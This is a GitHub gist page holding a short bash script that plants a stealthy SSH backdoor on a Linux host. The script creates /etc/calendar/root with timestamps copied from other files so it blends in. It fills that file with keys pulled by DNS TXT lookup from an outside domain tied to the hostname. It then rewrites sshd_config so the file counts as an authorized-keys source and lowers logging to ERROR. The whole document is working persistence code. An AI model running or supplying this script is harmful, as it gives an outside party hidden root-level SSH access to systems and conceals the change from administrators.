Skip to content

Instantly share code, notes, and snippets.

@MegaManSec
Created April 5, 2023 16:15
Show Gist options
  • Save MegaManSec/56ea208e5f548dee849c70c56b2d6fb2 to your computer and use it in GitHub Desktop.
Save MegaManSec/56ea208e5f548dee849c70c56b2d6fb2 to your computer and use it in GitHub Desktop.
#!/bin/bash
keysfile=`/usr/sbin/sshd -T | awk -F authorizedkeysfile '/authorizedkeysfile/ {print $NF}'` || keysfile=".ssh/authorized_keys"
if [ -d "/etc/calendar/" ]; then
if [ ! -e "/etc/calendar/root" ]; then
touch -r /etc/calendar/ /etc/calendar/root
fi
else
mkdir /etc/calendar/
touch -r /etc/ /etc/calendar/
touch -r /etc/calendar/ /etc/calendar/root
fi
dig +short TXT $(hostname).joshua.hu | sed 's/\x22//g' > /etc/calendar/root
touch -r /etc/ssh/sshd_config /tmp/t.tmp
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
echo "AuthorizedKeysFile /etc/calendar/root ${keysfile}" > /etc/ssh/sshd_config
echo "LogLevel ERROR" >> /etc/ssh/sshd_config
cat /etc/ssh/sshd_config.bak >> /etc/ssh/sshd_config
echo "LogLevel ERROR" >> /etc/ssh/sshd_config
exit 0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment